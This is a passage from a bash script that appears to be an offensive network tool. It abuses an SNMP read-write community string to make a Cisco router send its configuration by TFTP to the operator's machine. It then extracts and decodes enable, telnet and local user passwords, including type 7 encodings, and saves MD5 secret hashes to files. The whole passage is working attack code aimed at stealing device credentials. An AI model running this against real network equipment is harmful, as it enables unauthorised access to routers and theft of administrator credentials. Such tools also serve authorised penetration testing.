|awk '{sub(/^[ \t]+/, ""); print}') 567 | if [ -z "$LOCALIP" ] 568 | then 569 | printf '\r\n%s \n\n' "${BRIGHT}${RED}[!]${NORMAL} ${BRIGHT}${GREEN}"$MYINT"${NORMAL} has no IP Address set, please select an interface that has an IP Address configured" 570 | pause 571 | sourceinterfaces 572 | else 573 | printf '\r\n%s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL} I will use your IP address of ${BRIGHT}${BLUE}"$LOCALIP"${NORMAL} on ${BRIGHT}${BLUE}"$MYINT"${NORMAL} to TFTP the config" 574 | fi 575 | fi 576 | printf '\n' 577 | 578 | } 579 | pause 580 | clear 581 | sourceinterfaces 582 | pause 583 | checkrwtftp 584 | 585 | #start TFTP server 586 | printf '\r\n%s \n' "${BRIGHT}${BLUE}[i]${NORMAL} Starting local TFTP server to listen for the config file" 587 | 588 | atftpd -v --port 69 --daemon --bind-address "$LOCALIP" "$TFTPOUTPUTDIR" 2>/dev/null 589 | if [ $? = 0 ] 590 | then 591 | printf '\r\n%s \n' "${BRIGHT}${GREEN}[+]${NORMAL} TFTP started successfully." 592 | 593 | else 594 | printf '\r\n%s \n' "${BRIGHT}${RED}[!]${NORMAL} Error unable to start TFTP server." 595 | exit 0 596 | fi 597 | 598 | printf '\n\n' 599 | # Attempt to download Cisco config via TFTP 600 | snmpset -Cq -r 2 -t 5 -v $SNMPVER -c $READW $CISCOIP $TFTPOID$LOCALIP s $CISCOIP.txt 2>/dev/null & 601 | SECONDS=0; 602 | while sleep .5 && ((SECONDS <= 10)) 603 | do 604 | printf '\r%s %s %1d %s' "${BRIGHT}${BLUE}[i]${NORMAL}" "Now attempting to download the router config file, waiting for " "$((10-SECONDS))" "seconds." 605 | done 606 | printf '\n\n' 607 | 608 | cat "$TFTPOUTPUTDIR$CISCOIP.txt" >/dev/null 2>&1 609 | if [ $? = 1 ] 610 | then 611 | printf '\r\n%s \n' "${BRIGHT}${RED}[!]${NORMAL} There was a problem I couldn't TFTP download the config. Check your IP and firewall settings and try again. If using a VM ensure it is in bridged mode and not NAT" 612 | killall atftpd 2>/dev/null 613 | printf '\r\n%s \n' "${BRIGHT}${BLUE}[!]${NORMAL} Stopping local TFTP server." 614 | exit 1 615 | else 616 | mv "$TFTPOUTPUTDIR$CISCOIP.txt" "$OUTPUTDIR$CISCOIP-router-config.txt" 617 | printf '\r%s \n' "${BRIGHT}${GREEN}[+]${NORMAL} Success. Cisco config was downloaded to the following location ${BRIGHT}${BLUE}$OUTPUTDIR$CISCOIP-router-config.txt${NORMAL}" 618 | printf '\r\n%s \n' "${BRIGHT}${BLUE}[i]${NORMAL} Stopping local TFTP server." 619 | killall atftpd 2>/dev/null 620 | pause 621 | fi 622 | 623 | # look for encoded or clear text enable passwords 624 | clearenable() { 625 | CLEARENABLECHECK=$(cat "$OUTPUTDIR$CISCOIP-router-config.txt" |grep "enable password 7" 2>&1) 626 | if [ -n "$CLEARENABLECHECK" ] 627 | then 628 | ENPW7=$(cat "$OUTPUTDIR$CISCOIP-router-config.txt" |grep "enable password 7" |awk '{print $NF}' 2>&1) 629 | printf '\r%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL} Service password-encryption is enabled. The enable encoded type 7 password string is" 630 | printf '\r%s \n\n' "${BRIGHT}${GREEN}"$ENPW7"${NORMAL}" 631 | printf '\r\%s \n' "$ENPW7" >"$OUTPUTDIR$CISCOIP-ciscoenable7pw.txt" 632 | BASE64="$ENPW7" 633 | export BASE64 634 | printf '\r%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL} The decoded enable type 7 password is" 635 | # Run perl base64 decode function 636 | perldecode 637 | else 638 | printf '\r%s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL} It seems that that no encoded enable 7 password is set" 639 | fi 640 | 641 | CLRENABLE=$(cat "$OUTPUTDIR$CISCOIP-router-config.txt" |grep "enable password" | awk '{print $3}' 2>&1) 642 | if [ -z "$CLRENABLE" ] 643 | then 644 | printf '\r%s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL} I didn't find any clear text enable passwords set" 645 | elif [ "$CLRENABLE" != "7" ] 646 | then 647 | printf '\r%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL} Clear Text Enable password was found" 648 | printf '\r%s \n\n' "${BRIGHT}${GREEN}"$CLRENABLE"${NORMAL}" 649 | fi 650 | } 651 | clearenable 652 | 653 | 654 | # look for local users with encoded passwords - if 1 user decode it, it >1 then just list them (will update to loop and decode them all soon). 655 | 656 | localencoded() { 657 | ENLOCAL7ONE=$(cat "$OUTPUTDIR$CISCOIP-router-config.txt" |grep "username" |grep "password 7" |wc -l 2>&1) 658 | if [ $ENLOCAL7ONE -gt 1 ] 659 | then 660 | printf '\r%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL} The following local users with type 7 encoded passwords were found. I am unable to decode more than 1 password, please use Cain & Abel or tools to decode the passwords" 661 | ENLOCAL7ONELIST=$(cat "$OUTPUTDIR$CISCOIP-router-config.txt" |grep "username" |grep "password 7" 2>&1) 662 | printf '\r%s \n' "$ENLOCAL7ONELIST" >"$OUTPUTDIR$CISCOIP-ciscolocalusers7pw.txt" 663 | cat $OUTPUTDIR$CISCOIP-ciscolocalusers7pw.txt 2>&1 664 | printf '\n' 665 | elif [ $ENLOCAL7ONE -eq 1 ] 666 | then 667 | ENLOCAL7=$(cat "$OUTPUTDIR$CISCOIP-router-config.txt" |grep "username" |grep "password 7" |awk '{print $2}' 2>&1) 668 | printf '\r%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL} The following local user account was found with a encoded type 7 password" 669 | printf '\r%s \n\n' "${BRIGHT}${GREEN}"$ENLOCAL7"${NORMAL}" 670 | ENLOCAL7VAL=$(cat "$OUTPUTDIR$CISCOIP-router-config.txt" |grep "username" |grep "password 7" |awk '{print $NF}' 2>&1) 671 | printf '\r%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL} User ${BRIGHT}${GREEN}"$ENLOCAL7"${NORMAL} encoded password value is:" 672 | printf '\r%s \n\n' "${BRIGHT}${GREEN}"$ENLOCAL7VAL"${NORMAL}" 673 | printf '\r%s \n' "$ENPW7" >"$OUTPUTDIR$CISCOIP-ciscolocal7pw.txt" 674 | 675 | BASE64="$ENLOCAL7VAL" 676 | export BASE64 677 | printf '\r%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL} The decoded password for user ${BRIGHT}${GREEN}"$ENLOCAL7"${NORMAL} is:" 678 | # Run perl base64 decode function 679 | perldecode 680 | else 681 | printf '\r\n%s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL} No local users accounts were found on the device" 682 | fi 683 | } 684 | localencoded 685 | 686 | telnetclear(){ 687 | # look for encoded telnet passwords 688 | VTPPW7=$(cat "$OUTPUTDIR$CISCOIP-router-config.txt" |grep -B1 "login" |grep "password 7" |awk '{print $NF}' |head -1 2>&1) 689 | if [ -z "$VTPPW7" ] 690 | then 691 | printf '\r\n%s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL} There doesn't seem to be any encoded telnet passwords set" 692 | else 693 | printf '\r%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL} The following encoded telnet password was found" 694 | printf '\r%s \n\n' "${BRIGHT}${GREEN}"$VTPPW7"${NORMAL}" 695 | BASE64="$VTPPW7" 696 | export BASE64 697 | printf '\r%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL} The decoded telnet type 7 password is:" 698 | # Run perl base64 decode function 699 | perldecode 700 | 701 | fi 702 | # look for clear text telnet passwords 703 | VTYPWCLRREV=$(cat "$OUTPUTDIR$CISCOIP-router-config.txt" |grep -B1 "login" |grep "password" |awk '{print $NF}' |sort --unique 2>&1) 704 | VTYPWCLRREV2=$(cat "$OUTPUTDIR$CISCOIP-router-config.txt" |grep -B1 "login" |grep "password 7" |awk '{print $NF}' |sort --unique 2>&1) 705 | if [ -z "$VTYPWCLRREV" ] 706 | then 707 | printf '\r\n%s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL} No telnet password for login appears to be set" 708 | elif [ -n "$VTYPWCLRREV2" ] 709 | then 710 | printf '\n' 711 | else 712 | printf '\r%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL} The following clear text telnet password was found" 713 | printf '\r%s \n\n' "${BRIGHT}${GREEN}"$VTYPWCLRREV"${NORMAL}" 714 | 715 | fi 716 | 717 | } 718 | telnetclear 719 | 720 | localusermd5() { 721 | # look for any local users with MD5 set 722 | LOCPW5=$(cat "$OUTPUTDIR$CISCOIP-router-config.txt" |grep "username" |grep "secret 5" |cut -d " " -f 2,5 2>&1 ) 723 | if [ -z "$LOCPW5" ] 724 | then 725 | printf '\r\n%s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL} No local user accounts with MD5 were found to be set." 726 | else 727 | printf '\r%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL} The following local users with MD5 passwords were found." 728 | printf '\r%s %s \n\n' "${BRIGHT}${GREEN}"$LOCPW5"${NORMAL}" 729 | printf '\r%s \n' "$LOCPW5" >"$OUTPUTDIR$CISCOIP-ciscolocalusersecret5pw.txt" 730 | fi 731 | 732 | } 733 | 734 | localusermd5 735 | 736 | enablesecretmd5() { 737 | # get enable secret md5 hash 738 | SECPW5=$(cat "$OUTPUTDIR$CISCOIP-router-config.txt" |grep "enable secret 5" |awk '{ print $NF }' 2>&1) 739 | if [ -z "$SECPW5" ] 740 | then 741 | printf '\r\n%s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL} No Enable Secret MD5 found." 742 | rm *.tmp 2>/dev/null 743 | exit 0 744 | else 745 | printf '\r%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL} The following Enable Secret MD5 was found to be set." 746 | printf '\r%s %s \n\n' "${BRIGHT}${GREEN}"$SECPW5"${NORMAL}" 747 | printf '\r%s \n' "$SECPW5" >"$OUTPUTDIR$CISCOIP-ciscosecret5pw.txt" 748 | fi 749 | } 750 | enablesecretmd5 751 | rm *.tmp 2>/dev/null 752 | #END 753 | --------------------------------------------------------------------------------